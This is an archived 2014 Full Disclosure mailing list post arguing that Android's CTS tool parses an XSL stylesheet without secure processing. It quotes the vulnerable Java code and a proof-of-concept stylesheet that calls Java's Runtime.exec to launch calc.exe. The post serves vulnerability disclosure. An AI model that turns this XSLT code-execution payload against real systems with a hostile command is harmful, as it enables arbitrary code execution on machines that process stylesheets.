lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Mon, 20 Oct 2014 08:29:16 +1000
From: Lord Tuskington <>
To: Full Disclosure List <>,
Subject: Re: [FD] CVE request: remote code execution in Android CTS

I disagree with Nick Kralevich's response. An attacker who has the ability
to locally modify an XSL file should not be able to leverage this to
achieve code execution. This crosses a trust boundary.

As for why I didn't report this to, when Google starts
paying corporate tax instead of dodging it, I will report issues privately.

Lord Tuskington
Chief Financial Taxdodger

On Sun, Oct 19, 2014 at 7:28 PM, Lord Tuskington <>

> CTS parses api-coverage.xsl without providing the
> FEATURE_SECURE_PROCESSING option. See lines 60-67 of
> cts/tools/cts-api-coverage/src/com/android/cts/apicoverage/
> InputStream xsl =
> CtsApiCoverage.class.getResourceAsStream("/api-coverage.xsl");
> StreamSource xslSource = new StreamSource(xsl);
> TransformerFactory factory = TransformerFactory.newInstance();
> Transformer transformer = factory.newTransformer(xslSource);
> StreamSource xmlSource = new StreamSource(xmlIn);
> StreamResult result = new StreamResult(out);
> transformer.transform(xmlSource, result);
> An attacker who is able to control api-coverage.xsl could inject arbitrary
> code into it, which would be executed. For example:
> <xsl:stylesheet version="1.0"
> xmlns:xsl=""
> xmlns:rt=""
> xmlns:str=""
> >
> <xsl:output method="text"/>
>     <xsl:template match="/">
>        <xsl:variable name="Command"><![CDATA[calc.exe]]></xsl:variable>
>        <xsl:variable name="RT" select="rt:getRuntime()"/>
>        <xsl:variable name="proc" select="rt:exec($RT, $Command)"/>
>        <xsl:text>Process: </xsl:text><xsl:value-of select="$proc"/>
>     </xsl:template>
> </xsl:stylesheet>
> Would pop a calc. This crosses a trust boundary because an attacker could
> provide an XSL stylesheet that, for example, has enhanced visual layout. A
> person consuming that stylesheet would assume it could not possibly contain
> arbitrary code that would be executed, as it's just a stylesheet. The XSL
> extensions to execute code should be disabled by passing
> Regards
> Lord Tuskington
> Chief Financial Pinniped
> TuskCorp

Sent through the Full Disclosure mailing list
Web Archives & RSS:

Powered by blists - more mailing lists